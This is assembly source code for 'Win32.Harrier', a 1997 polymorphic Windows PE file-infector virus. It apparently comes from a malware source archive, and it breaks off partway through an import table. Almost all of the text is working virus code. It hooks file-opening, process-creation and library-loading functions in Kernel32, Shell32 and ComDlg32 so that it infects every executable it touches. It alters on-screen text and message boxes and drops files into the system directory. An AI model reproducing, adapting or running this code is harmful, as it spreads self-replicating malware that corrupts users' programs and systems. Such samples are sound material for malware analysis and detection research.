MalwareSourceCode/Win32/Infector/Win32.Harrier.asm

; Win32.Harrier
;		title	HDL - The pretty PE Polymorphic virus.
;		page	52,130
;
; *==================================================================*
; !  (c) 08-Sep-1997y  by  TechnoRat  "95-th Harrier from DarkLand"  !
; *==================================================================*
;
; Start coding: 27-Jul-1997y                           Ver 2.00a
; Still coding: 04-Sep-1997y                           Ver 2.01a
;  Stop coding: 08-Sep-1997y                           Ver 2.01a
;   Bug fixing: 10-Sep-1997y                           Ver 2.01b
;    Upgrading: 14-Sep-1997y                           Ver 2.01b
;   Bug fixing: 17-Sep-1997y                           Ver 2.01!
;
;
; Win32 Virus.    (c)*TR*SOFT  27-Jul-1997y
;
; Compatible: MS Windows 95 (v4.0+);
;  Structure: many levels polymorphic style;
;   Infector: written as Win32 console application;
;     Infect: all files by type NewExe (PE);
;      Check: attributes, date & time, IO errors, synchronization;
;      Devil: text strings on screen, message boxes, help,
;             Control Panel (System applet);
;       Lock: -=- nothing -=-
;       Code: pretty fucking style;
;
		.386				; Party goes to begin. . .
		.Model	Flat,StdCall
		%NoMacs
		Include	..HarrInc.Inc

; ---------------------------------------------------------
; Data section must be present. Data size must be non-zero.
		.Data
Dumbo		Db	'For fucking TASM32+TLINK32 programs!',0

; ---------------------------------------------------------
		.Code
		Public	StubEntryLabel		; Some definitions
		Public	StubImportPlace		; placed specially
		Public	ImagePlace		; for PELinker
		Public	CurrentPlace
		Public	FixUpsPlace
		Public	FixUpsCounter
		Public	ImportPlace
		Public	ImportLength
		Public	BufferPlace

; ---------------------------------------------------------
MaxPathLen	=	260

; ---------------------------------------------------------
Cr		Equ	<0Dh,0Ah>		; Service macroses
Ver		Equ	<'v2.01 '>
Release		Equ	<'Release (0) from 17-Sep-1997y '>
BasedOn		Equ	<'based on [AsmSwap engine v1.3]'>

; ---------------------------------------------------------
; Stack memory addressing macroses
MemCommitSz	=	38000h			; Stack memory size
TinyMemCommitSz	=	2000h			; WARNING! depends on
						; total program size.

_VarAddr	=	0			; Base of indexing
Var		Macro	VarName,VarType
&VarName	CatStr	<[>,%_VarAddr,<][EBp]>	; Defining the new
		If	Type VarType Eq 0	; variable reference
_VarAddr	=	_VarAddr+VarType
		Else
_VarAddr	=	_VarAddr+Type VarType
		EndIf
		EndM	Var

; ---------------------------------------------------------
; Binary include support
BFile		Macro	ILabel,IFileName,IFileSize
&ILabel		Label	Byte
_BFileStart	=	$
		Irpc	Char,IFileName
		Db	'&Char'
		EndM
		Db	(IFileSize-($-_BFileStart)) Dup(90h)
		EndM	BFile

; ---------------------------------------------------------
DebugModeKey	=	0h			; defining the Debug
		Irpc	Char,<CREATOR=TechnoRat> ; Mode switcher key
DebugModeKey	=	((DebugModeKey Xor '&Char')-1) Shl 1
		EndM

; ---------------------------------------------------------
_Jmp		Macro	Addr			; Macroses that supports
		Jmp	Addr			; AsmSwap scrambling
		EndM	_Jmp

_Nop		Macro	Addr
		EndM	_Nop

; ---------------------------------------------------------
; Here the start of running code.
Start:						; Here can be placed
						; the polymorphic decryptor,
						; And will be placed!
						; But later.
;StartCode
;Separator=_Jmp
; ---------------------------------------------------------
;Here the real virus body.

BodyHere:	PushA
		Cld				; Need after decrypting!
FirstCm:	Call	SecondCm
		Xor	EAx,EAx			; Some trash
		Ret				; will never work!!!

SecondCm:	Xor	EAx,EAx			; Some another trash
		Pop	EBx			; Real body. . .
		Sub	EBx,(Offset FirstCm - Offset Start + 5)
		Xor	EAx,EAx			; Wait on semaphore
WaitInit:	Xchg	EAx,[EBx][Offset InitOk - Offset Start]
		Or	EAx,EAx
		Jz	WaitInit
		Cmp	EAx,2h			; Ok, All done.
		Je	DoneInit
;DefCodeLine
		Db	0BEh
FixUpsPlace	Dd	?			; Mov ESi,xxxx
;BreakCodeLine
;DefCodeLine
		Db	0B9h
FixUpsCounter	Dd	?			; Mov ECx,xxxx
;BreakCodeLine
Again:		Mov	EDi,[EBx+ESi]
		Add	[EBx+EDi],EBx		; SetUp ReloItems
		Add	ESi,4h
		Dec	ECx
		Jnz	Again
		Mov	Here,EBx

		Mov	EAx,StubEntryLabel	; Calculate the
		Add	EAx,EBx			; Host entry point
		Sub	EAx,CurrentPlace	; and place it for future
		Sub	EAx,PolyMorphSz
		Mov	HostIP,EAx
		Sub	EBx,CurrentPlace
		Sub	EBx,PolyMorphSz
		Mov	MemBase,EBx

		Mov	Debug,0h		; Checking for debug
		Call	GetEnvironmentStringsA	; mode presence. . .
New_Key:	Xor	EBx,EBx
New_Char:	Cmp	Byte Ptr [EAx],0h	; Calculate hash from
		Je	Check_Key		; Env. string
		Xor	Bl,[EAx]
		Dec	EBx
		Shl	EBx,1
		Inc	EAx
		Jmp	New_Char
Check_Key:	Cmp	EBx,DebugModeKey	; Debug key detected?
		Jne	New_String
		Or	Debug,-1		; Yes!
		Push	0h			; (??? Not used)
		Call	MessageBeep
		Push	40h			; OkOnly+Information
		Push	Offset InfSelfHeader
		Push	Offset InfEnterDebug
		Push	0h
		Call	MessageBoxA
		Jmp	Break_Keys
New_String:	Inc	EAx			; No, next string
		Cmp	Byte Ptr [EAx],0h
		Jne	New_Key
Break_Keys:
		Mov	EAx,Offset KernelName	; SetUp import entries
		Mov	EDx,Offset KrnlImp	; on Kernel32 And Shell32
		Mov	ECx,KrnlImpCnt		; And ComDlg32 DLLs
		Call	SetUpImport
		Mov	EAx,Offset ShellName
		Mov	EDx,Offset ShellImp
		Mov	ECx,ShellImpCnt
		Call	SetUpImport
		Mov	EAx,Offset DialogName
		Mov	EDx,Offset DialogImp
		Mov	ECx,DialogImpCnt
		Call	SetUpImport
		Mov	EAx,Offset UserName	; and User32 and GDI32 DLLs
		Mov	EDx,Offset UserImp
		Mov	ECx,UserImpCnt
		Call	SetUpImport
		Mov	EAx,Offset GDIName
		Mov	EDx,Offset GDIImp
		Mov	ECx,GDIImpCnt
		Call	SetUpImport
		Mov	HelpCounter,0h
		Mov	wsRet$,0h		; Critical section end.

DoneInit:	Mov	InitOk,2h		; No Writes in RAM here!!!
; Here can be implemented some initialization features.
; for Example: infecting the Export in SHELL32.dll or
; in COMDLG32.dll; or infecting the Explorer.Exe or . . .

		Push	MemCommitSz/4h
		Call	AllocStackMem
		Lea	EAx,FT_Struc
		Push	EAx
		Call	GetSystemTime		; Get "Random" value
		Cmp	Word Ptr FT_Second,10h
		Jne	Go_Away
		Push	1000h			; OkOnly+SystemModal
		Push	Offset InfSelfHeader
		Push	Offset HelloMsg
		Push	0h
		Call	MessageBoxA		; Fuck the society ;-)

Go_Away:	Lea	EAx,PackedTime		; Initialize random generator
		Push	EAx			; Can be performed at
		Lea	EAx,FT_Struc		; any time, it is legal!!!
		Push	EAx
		Call	SystemTimeToFileTime
		Mov	EAx,PackedTime
		Or	EAx,1h
		Mov	RandSeed,EAx

		Mov	EAx,10h			; by 1/16 probability
		Call	Random
		Or	EAx,EAx
		Jnz	NoInstallOEM

		Push	MaxPathLen
		Lea	EAx,SomePath		; Some nice install ;-)
		Push	EAx			; (about the OEM)
		Call	GetSystemDirectoryA
		Push	EAx
		Lea	EAx,SomePath
		Add	EAx,[ESp]
		Mov	EDi,EAx			; The pretty LOGO file
		Mov	ESi,Offset BitMapName
		Cld
		Mov	ECx,BitMapNameL
		Rep	MovsB

		Push	0h
		Push	10000000h+80h		; FAN, FFRA
		Push	2h			; CA
		Push	0h
		Push	1h
		Push	80000000h+40000000h	; GR/GW
		Lea	EAx,SomePath
		Push	EAx
		Call	CreateFileA
		Cmp	EAx,-1h			; Create error!
		Je	Fail_OEM
		Push	EAx
		Push	0h
		Lea	ECx,ProcessedBytes
		Push	ECx
		Push	HarrBtMpFile_Sz
		Push	Offset BitMapFile
		Push	EAx
		Call	WriteFile
		Call	CloseHandle

		Lea	EAx,SomePath
		Add	EAx,[ESp]
		Mov	EDi,EAx			; The pretty INFO file
		Mov	ESi,Offset InfoName
		Mov	ECx,InfoNameL
		Rep	MovsB

		Push	0h
		Push	10000000h+80h		; FAN, FFRA
		Push	2h			; CA
		Push	0h
		Push	1h
		Push	80000000h+40000000h	; GR/GW
		Lea	EAx,SomePath
		Push	EAx
		Call	CreateFileA
		Cmp	EAx,-1h			; Create error!
		Je	Fail_OEM
		Push	EAx
		Push	0h
		Lea	ECx,ProcessedBytes
		Push	ECx
		Push	HarrInfoFile_Sz
		Push	Offset InfoFile
		Push	EAx
		Call	WriteFile
		Call	CloseHandle

Fail_OEM:	Pop	EAx

NoInstallOEM:	Push	MemCommitSz/4h
		Call	FreeStackMem
		PopA
		Jmp	HostIP			; All Done.

; ---------------------------------------------------------
SetUpImport:	Mov	EBx,StubImportPlace	; SetUp HostImport
		Add	EBx,Here
Set_3$:		Cmp	DWord Ptr [EBx][3*4],0h	; (EDx/ECx, EAx)
		Je	Set_0$			; Corrupt all. . .
		Mov	ESi,[EBx][3*4]		; Scan stub modules
		Add	ESi,MemBase
		Mov	EDi,EAx
		Cld
Set_2$:		Call	CmpUnCase		; Compare two module chars
		Jne	Set_1$
		Cmp	Byte Ptr [EDi][-1],0h
		Jne	Set_2$			; Names compared Ok.
		Call	Set_Mdl$		; SetUp current module.
Set_1$:		Add	EBx,5*4			; Next module. . .
		Jmp	Set_3$
Set_0$:		Ret				; Last module, All done.

Set_Mdl$:	Push	EAx
		Mov	ESi,[EBx]		; (Current Module in EBx)
		Or	ESi,ESi			; LookUp present?
		Jz	Set_Mdl_1$
		Add	ESi,MemBase
		Xor	EAx,EAx
Set_Mdl_0$:	Cmp	DWord Ptr [ESi],0h	; Last LookUp?
		Je	Set_Mdl_1$
		Test	DWord Ptr [ESi],80000000h
		Jne	Set_Mdl_2$		; Ordinal?
		Push	ESi
		Mov	ESi,[ESi]		; Get Name in module
		Add	ESi,MemBase
		Add	ESi,2h
		Push	EDx
		Push	ECx
Set_Mdl_M0$:	Push	ESi
		Mov	EDi,[EDx][1*4]		; Get self Name to SetUp
Set_Mdl_M2$:	Call	CmpUnCase
		Jne	Set_Mdl_M1$
		Cmp	Byte Ptr [EDi][-1],0h
		Jne	Set_Mdl_M2$		; Ok, SetUp this entry
		Mov	EDi,[EBx][4*4]		; Ptr to AddrTable
		Add	EDi,MemBase
		Mov	ESi,[EDi][EAx]		; ImportValue
		Push	EDi
		Mov	EDi,[EDx]		; SetUp _Var
		Mov	[EDi],ESi
		Pop	EDi
		Mov	ESi,[EDx][2*4]		; SetUp ImportValue
		Mov	[EDi][EAx],ESi		; by IProc
		Pop	ESi
		Jmp	Set_Mdl_M3$
Set_Mdl_M1$:	Pop	ESi
		Add	EDx,3*4			; Next name in list
		Dec	ECx
		Jnz	Set_Mdl_M0$
Set_Mdl_M3$:	Pop	ECx
		Pop	EDx
		Pop	ESi
Set_Mdl_2$:	Add	ESi,4			; Next name in module
		Add	EAx,4
		Jmp	Set_Mdl_0$
Set_Mdl_1$:	Pop	EAx
		Ret

CmpUnCase:	Push	EAx			; CmpsB (with UnCase check)
		LodsB
		Call	UpCase
		Mov	Ah,Al
		Xchg	ESi,EDi
		LodsB
		Call	UpCase
		Xchg	ESi,EDi
		Cmp	Ah,Al
		Pop	EAx
		Ret

UpCase:		Cmp	Al,'a'			; UpCase the Al register
		Jb	UpCase_0$
		Cmp	Al,'z'
		Ja	UpCase_0$
		Sub	Al,20h
UpCase_0$:	Ret

; ---------------------------------------------------------
; KERNEL32 infected functions realization.
ICreateFileA:	Push	EBp			; CreateFileA
		Mov	EBp,ESp			; opens or creates
		PushA				; the file or other
		Mov	EDx,[EBp][8]		; resource (pipe, device, etc)
		Mov	EBx,Offset NCreateFileA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_CreateFileA

IOpenFile:	Push	EBp			; OpenFile
		Mov	EBp,ESp			; opens or creates
		PushA				; the file
		Mov	EDx,[EBp][8]		; [Obsolete]
		Mov	EBx,Offset NOpenFile
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_OpenFile

IMoveFileA:	Push	EBp			; MoveFileA
		Mov	EBp,ESp			; moves or renames
		PushA				; the file
		Mov	EDx,[EBp][8]
		Mov	EBx,Offset NMoveFileA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_MoveFileA

IMoveFileExA:	Push	EBp			; MoveFileExA
		Mov	EBp,ESp			; moves or renames
		PushA				; the file
		Mov	EDx,[EBp][8]		; [Not supported by '95]
		Mov	EBx,Offset NMoveFileExA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_MoveFileExA

ICopyFileA:	Push	EBp			; CopyFileA
		Mov	EBp,ESp			; copyes
		PushA				; the file
		Mov	EDx,[EBp][8]
		Mov	EBx,Offset NCopyFileA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_CopyFileA

I_lopen:	Push	EBp			; _lopen
		Mov	EBp,ESp			; opens
		PushA				; the file
		Mov	EDx,[EBp][8]		; [Obsolete]
		Mov	EBx,Offset N_lopen
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	__lopen

IWinExec:	Push	EBp			; WinExec
		Mov	EBp,ESp			; spawns
		PushA				; the file
		Mov	EDx,[EBp][8]		; [Obsolete]
		Mov	EBx,Offset NWinExec
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_WinExec

ICreateProcessA:
		Push	EBp			; CreateProcessA
		Mov	EBp,ESp			; spawns
		PushA				; the file
		Mov	EDx,[EBp][8]
		Mov	EBx,Offset NCreateProcessA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_CreateProcessA

ILoadLibraryA:	Push	EBp			; LoadLibraryA
		Mov	EBp,ESp			; loads the
		PushA				; library file
		Mov	EDx,[EBp][8]
		Mov	EBx,Offset NLoadLibraryA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_LoadLibraryA

ILoadLibraryExA:
		Push	EBp			; LoadLibraryExA
		Mov	EBp,ESp			; loads the
		PushA				; library file
		Mov	EDx,[EBp][8]
		Mov	EBx,Offset NLoadLibraryExA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_LoadLibraryExA

IFindFirstFileA:
		Push	DWord Ptr [ESp][8]
		Push	DWord Ptr [ESp][8]
		Call	_FindFirstFileA
		Cmp	EAx,-1
		Je	FindFirst_1$
		Push	EBp			; FindFirstFileA
		Mov	EBp,ESp			; searches the
		PushA				; first file
		Mov	EDx,[EBp][0Ch]
		Add	EDx,0Bh*4
		Mov	EBx,Offset NFindFirstFileA
		Call	InfectByName
		PopA
		Pop	EBp
FindFirst_1$:	Ret	8h

IFindNextFileA:
		Push	DWord Ptr [ESp][8]
		Push	DWord Ptr [ESp][8]
		Call	_FindNextFileA
		Or	EAx,EAx
		Je	FindNext_1$
		Push	EBp			; FindNextFileA
		Mov	EBp,ESp			; searches the
		PushA				; next file
		Mov	EDx,[EBp][0Ch]
		Add	EDx,0Bh*4
		Mov	EBx,Offset NFindNextFileA
		Call	InfectByName
		PopA
		Pop	EBp
FindNext_1$:	Ret	8h

; ---------------------------------------------------------
; SHELL32 infected functions realization.
IShellExecuteA:	Push	EBp			; ShellExecuteA
		Mov	EBp,ESp			; opens or prints
		PushA				; the specified file
		Mov	EDx,[EBp][10h]		; via registry
		Mov	EBx,Offset NShellExecuteA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_ShellExecuteA

IShellExecuteEx:
		Push	EBp			; ShellExecuteEx
		Mov	EBp,ESp			; ???
		PushA				;
		Mov	EDx,[EBp][10h]		; [UnDocumented]
		Mov	EBx,Offset NShellExecuteEx
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_ShellExecuteEx

IShellExecuteExA:
		Push	EBp			; ShellExecuteExA
		Mov	EBp,ESp			; ???
		PushA				;
		Mov	EDx,[EBp][10h]		; [UnDocumented]
		Mov	EBx,Offset NShellExecuteExA
		Call	InfectByName
		PopA
		Pop	EBp
		Jmp	_ShellExecuteExA

IFindExecutableA:
		Push	EBp			; FindExecutableA
		Mov	EBp,ESp			; searches the
		PushA				; DDE server
		Mov	EDx,[EBp][8]		; via registry
		Mov	EBx,Offset NFindExecutableA
		Call	InfectByName		; or DDE requests
		PopA
		Pop	EBp
		Jmp	_FindExecutableA

; ---------------------------------------------------------
; COMDLG32 infected functions realization.
IGetOpenFileNameA:
		Push	DWord Ptr [ESp][4]	; GetOpenFileNameA
		Call	_GetOpenFileNameA	; returns the name
		Push	EBp			; of opening file
		Mov	EBp,ESp
		PushA
		Mov	EDx,[EBp][8]
		Mov	EDx,[EDx][7*4]
		Mov	EBx,Offset NGetOpenFileNameA
		Call	InfectByName
		PopA
		Pop	EBp
		Ret	4h

IGetSaveFileNameA:
		Push	DWord Ptr [ESp][4]	; GetSaveFileNameA
		Call	_GetSaveFileNameA	; returns the name
		Push	EBp			; of saving file
		Mov	EBp,ESp
		PushA
		Mov	EDx,[EBp][8]
		Mov	EDx,[EDx][7*4]
		Mov	EBx,Offset NGetSaveFileNameA
		Call	InfectByName
		PopA
		Pop	EBp
		Ret	4h

; ---------------------------------------------------------
; USER32 infected functions realization
IDrawTextA:	Push	EBx			; Draw text on screen
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][5*4+4]
		Push	DWord Ptr [EBx][4*4+4]
		Mov	ECx,[EBx][3*4+4]
		Mov	EDx,[EBx][2*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][1*4+4]
		Call	_DrawTextA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	5*4

IDrawTextExA:	Push	EBx			; Draw text on screen
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][6*4+4]
		Push	DWord Ptr [EBx][5*4+4]
		Push	DWord Ptr [EBx][4*4+4]
		Mov	ECx,[EBx][3*4+4]
		Mov	EDx,[EBx][2*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][1*4+4]
		Call	_DrawTextExA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	6*4

ITabbedTextOutA:
		Push	EBx			; Draw text on screen
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][8*4+4]
		Push	DWord Ptr [EBx][7*4+4]
		Push	DWord Ptr [EBx][6*4+4]
		Mov	ECx,[EBx][5*4+4]
		Mov	EDx,[EBx][4*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][3*4+4]
		Push	DWord Ptr [EBx][2*4+4]
		Push	DWord Ptr [EBx][1*4+4]
		Call	_TabbedTextOutA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	8*4

IwsprintfA:	Cmp	wsRet$,0h		; Check semaphore!
		Je	wsprintf_1$
		Jmp	_wsprintfA

wsprintf_1$:	Pop	wsRet$
		Push	Offset wsprint_0$
		Jmp	_wsprintfA		; Format text string
wsprint_0$:	Push	wsRet$
		Push	EBx
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Mov	EDx,[EBx][1*4+4]
		Mov	ECx,[EBx][-4]
		Call	ConvertStr
		Mov	[EBx][-4],ECx
		Mov	ESi,EDx
		Mov	EDi,[EBx][1*4+4]
		Cld
		Call	Transfer_Str
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Mov	wsRet$,0h
		Ret
wsRet$		Dd	0h

IwvsprintfA:	Push	EBx			; Format text string
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][3*4+4]
		Push	DWord Ptr [EBx][2*4+4]
		Push	DWord Ptr [EBx][1*4+4]
		Call	_wvsprintfA
		Mov	EDx,[EBx][1*4+4]
		Mov	ECx,EAx
		Call	ConvertStr
		Mov	[EBx][-4],ECx
		Mov	EDi,[EBx][1*4+4]
		Mov	ESi,EDx
		Cld
		Call	Transfer_Str
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx			; function result
		Pop	EBx
		Ret	3*4

IGetTabbedTextExtentA:
		Push	EBx			; Get text parameters
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][5*4+4]
		Push	DWord Ptr [EBx][4*4+4]
		Mov	ECx,[EBx][3*4+4]
		Mov	EDx,[EBx][2*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][1*4+4]
		Call	_GetTabbedTextExtentA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	5*4

IMessageBoxA:	Push	EBx			; Shows the some message
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	MemCommitSz/4h
		Call	AllocStackMem
		Lea	EAx,FT_Struc
		Push	EAx
		Call	GetSystemTime		; Get "Random" value
		Cmp	Word Ptr FT_Second,10h
		Jae	Message_None$
		MovZx	EAx,Word Ptr FT_Milliseconds
		Shr	EAx,1
		Xor	EDx,EDx
		Mov	ECx,FuckMsgCounter
		Div	ECx
		Shl	EDx,1
		Shl	EDx,1
		Add	EDx,Offset FuckMessages
		Mov	EDx,[EDx]
		Push	DWord Ptr [EBx][4*4+4]
		Push	DWord Ptr [EBx][3*4+4]
		Push	EDx
		Push	DWord Ptr [EBx][1*4+4]
		Call	MessageBoxA
		Mov	[EBx][-4h],EAx
		Push	MemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	4*4

Message_None$:	Push	MemCommitSz/4h		; Legal call
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Jmp	_MessageBoxA

IWinHelpA:	PushA				; Calls the Windows
		Cmp	HelpCounter,10h		; help system
		Jb	WinHlp_0$
		Push	40h			; OkOnly+Information
		Push	Offset InfSelfHeader
		Push	Offset InfGodHelp
		Push	0h
		Call	MessageBoxA
		PopA
		Xor	EAx,EAx
		Ret	4*4

WinHlp_0$:	Inc	HelpCounter		; Legal call
		PopA
		Jmp	_WinHelpA

; ---------------------------------------------------------
; GDI32 infected functions realization
ITextOutA:	Push	EBx			; Draw text on screen
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Mov	ECx,[EBx][5*4+4]
		Mov	EDx,[EBx][4*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][3*4+4]
		Push	DWord Ptr [EBx][2*4+4]
		Push	DWord Ptr [EBx][1*4+4]
		Call	_TextOutA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	5*4

IExtTextOutA:	Push	EBx			; Draw text on screen
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][8*4+4]
		Mov	ECx,[EBx][7*4+4]
		Mov	EDx,[EBx][6*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][5*4+4]
		Push	DWord Ptr [EBx][4*4+4]
		Push	DWord Ptr [EBx][3*4+4]
		Push	DWord Ptr [EBx][2*4+4]
		Push	DWord Ptr [EBx][1*4+4]
		Call	_ExtTextOutA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	8*4

IGetTextExtentPointA:
		Push	EBx			; Get text parameters
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][4*4+4]
		Mov	ECx,[EBx][3*4+4]
		Mov	EDx,[EBx][2*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][1*4+4]
		Call	_GetTextExtentPointA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	4*4

IGetTextExtentPoint32A:
		Push	EBx			; Get text parameters
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][4*4+4]
		Mov	ECx,[EBx][3*4+4]
		Mov	EDx,[EBx][2*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][1*4+4]
		Call	_GetTextExtentPoint32A
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	4*4

IGetTextExtentExPointA:
		Push	EBx			; Get text parameters
		Mov	EBx,ESp
		Push	EAx
		PushA
		Push	TinyMemCommitSz/4h
		Call	AllocStackMem
		Push	DWord Ptr [EBx][7*4+4]
		Push	DWord Ptr [EBx][6*4+4]
		Push	DWord Ptr [EBx][5*4+4]
		Push	DWord Ptr [EBx][4*4+4]
		Mov	ECx,[EBx][3*4+4]
		Mov	EDx,[EBx][2*4+4]
		Call	ConvertStr
		Push	ECx
		Push	EDx
		Push	DWord Ptr [EBx][1*4+4]
		Call	_GetTextExtentExPointA
		Mov	[EBx][-4h],EAx
		Push	TinyMemCommitSz/4h
		Call	FreeStackMem
		PopA
		Pop	EAx
		Pop	EBx
		Ret	7*4

;Separator=_Nop
; ---------------------------------------------------------
ShellName	Db	'SHELL32.dll',0		; Name of import
KernelName	Db	'KERNEL32.dll',0	; providers
DialogName	Db	'COMDLG32.dll',0

UserName	Db	'USER32.dll',0
GDIName		Db	'GDI32.dll',0

; ---------------------------------------------------------
_CreateFileA	Dd	?			; Thunk pointers
_OpenFile	Dd	?			; (Kernel)
_MoveFileA	Dd	?
_MoveFileExA	Dd	?
_CopyFileA	Dd	?
__lopen		Dd	?
_WinExec	Dd	?
_CreateProcessA	Dd	?
_LoadLibraryA	Dd	?
_LoadLibraryExA	Dd	?
_FindFirstFileA	Dd	?
_FindNextFileA	Dd	?

_ShellExecuteA	Dd	?			; (Shell)
_ShellExecuteEx	Dd	?
_ShellExecuteExA Dd	?
_FindExecutableA Dd	?

_GetOpenFileNameA Dd	?			; (CommDlg)
_GetSaveFileNameA Dd	?

_DrawTextA	Dd	?			; (User)
_DrawTextExA	Dd	?
_TabbedTextOutA	Dd	?
_wsprintfA	Dd	?
_wvsprintfA	Dd	?
_GetTabbedTextExtentA Dd ?
_MessageBoxA	Dd	?
_WinHelpA	Dd	?

_TextOutA	Dd	?			; (GDI)
_ExtTextOutA	Dd	?
_GetTextExtentPointA Dd ?
_GetTextExtentPoint32A Dd ?
_GetTextExtentExPointA Dd ?

; ---------------------------------------------------------
NCreateFileA	Db	'CreateFileA',0		; Thunk pointer names
NOpenFile	Db	'OpenFile',0
NMoveFileA	Db	'MoveFileA',0
NMoveFileExA	Db	'MoveFileExA',0
NCopyFileA	Db	'CopyFileA',0
N_lopen		Db	'_lopen',0
NWinExec	Db	'WinExec',0
NCreateProcessA	Db	'CreateProcessA',0
NLoadLibraryA	Db	'LoadLibraryA',0
NLoadLibraryExA	Db	'LoadLibraryExA',0
NFindFirstFileA	Db	'FindFirstFileA',0
NFindNextFileA	Db	'FindNextFileA',0

NShellExecuteA	Db	'ShellExecuteA',0
NShellExecuteEx	Db	'ShellExecuteEx',0
NShellExecuteExA Db	'ShellExecuteExA',0
NFindExecutableA Db	'FindExecutable',0

NGetOpenFileNameA Db	'GetOpenFileNameA',0
NGetSaveFileNameA Db	'GetSaveFileNameA',0

NDrawTextA	Db	'DrawTextA',0
NDrawTextExA	Db	'DrawTextExA',0
NTabbedTextOutA	Db	'TabbedTextOutA',0
NwsprintfA	Db	'wsprintfA',0
NwvsprintfA	Db	'wvsprintfA',0
NGetTabbedTextExtentA Db 'GetTabbedTextExtentA',0
NMessageBoxA	Db	'MessageBoxA',0
NWinHelpA	Db	'WinHelpA',0

NTextOutA	Db	'TextOutA',0
NExtTextOutA	Db	'ExtTextOutA',0
NGetTextExtentPointA Db 'GetTextExtentPointA',0
NGetTextExtentPoint32A Db 'GetTextExtentPoint32A',0
NGetTextExtentExPointA Db 'GetTextExtentExPointA',0

; ---------------------------------------------------------
;DefCodeLine
KrnlImp		Label	DWord
		Dd	Offset _CreateFileA
		Dd	Offset NCreateFileA
		Dd	Offset ICreateFileA

		Dd	Offset _OpenFile
		Dd	Offset NOpenFile
		Dd	Offset IOpenFile

		Dd	Offset _MoveFileA
		Dd	Offset NMoveFileA
		Dd	Offset IMoveFIleA

		Dd	Offset _MoveFileExA
		Dd	Offset NMoveFileExA
		Dd	Offset IMoveFileExA

		Dd	Offset _CopyFileA
		Dd	Offset NCopyFileA
		Dd	Offset ICopyFileA

		Dd	Offset __lopen
		Dd	Offset N_lopen
		Dd	Offset I_lopen

		Dd	Offset _WinExec
		Dd	Offset NWinExec
		Dd	Offset IWinExec

		Dd	Offset _CreateProcessA
		Dd	Offset NCreateProcessA
		Dd	Offset ICreateProcessA

		Dd	Offset _LoadLibraryA
		Dd	Offset NLoadLibraryA
		Dd	Offset ILoadLibraryA

		Dd	Offset _LoadLibraryExA
		Dd	Offset NLoadLibraryExA
